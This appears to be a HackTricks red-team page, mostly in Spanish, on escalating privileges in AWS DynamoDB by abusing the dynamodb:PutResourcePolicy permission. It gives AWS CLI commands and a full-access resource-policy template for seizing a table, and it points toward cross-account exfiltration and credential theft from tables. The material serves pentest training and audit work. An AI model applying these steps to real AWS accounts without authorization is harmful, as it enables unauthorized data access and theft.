AWS - DynamoDB Privesc

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

dynamodb

For more info about dynamodb check:

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy, and optionally dynamodb:GetResourcePolicy

Desde marzo de 2024, AWS ofrece políticas basadas en recursos para DynamoDB (AWS News).

Por lo tanto, si tienes el dynamodb:PutResourcePolicy para una tabla, puedes simplemente concederte a ti mismo u a cualquier otro principal acceso completo a la tabla.

Conceder el dynamodb:PutResourcePolicy a un principal aleatorio suele ocurrir por accidente, si los administradores piensan que conceder dynamodb:Put* solo permitiría al principal poner items en la base de datos —o si otorgaron ese conjunto de permisos antes de marzo de 2024…

Idealmente, también dispones de dynamodb:GetResourcePolicy, para no sobrescribir otros permisos potencialmente vitales, sino solo inyectar los permisos añadidos que necesites:

# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

Si no puedes recuperar la política actual, utiliza esta que concede acceso completo a la tabla a tu principal:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

Si necesitas personalizarla, aquí tienes una lista de todas las acciones posibles de DynamoDB: AWS Documentation. Y aquí tienes una lista de todas las acciones que pueden permitirse mediante una política basada en recursos Y cuáles de estas pueden usarse entre cuentas (¡piensa en exfiltración de datos!): AWS Documentation

Ahora, con el documento de política policy.json listo, aplica la política basada en recursos:

# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

Now, deberías tener los permisos que necesitabas.

Post Exploitation

Que yo sepa, no existe otra forma directa de escalate privileges in AWS solo por tener algunos permisos de AWS dynamodb. Puedes leer información sensible de las tablas (que podría contener credenciales de AWS) y escribir información en las tablas (lo que podría desencadenar otras vulnerabilidades, como lambda code injections…) pero todas estas opciones ya están consideradas en la DynamoDB Post Exploitation page:

AWS - DynamoDB Post Exploitation

TODO: Leer datos abusando de data Streams

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks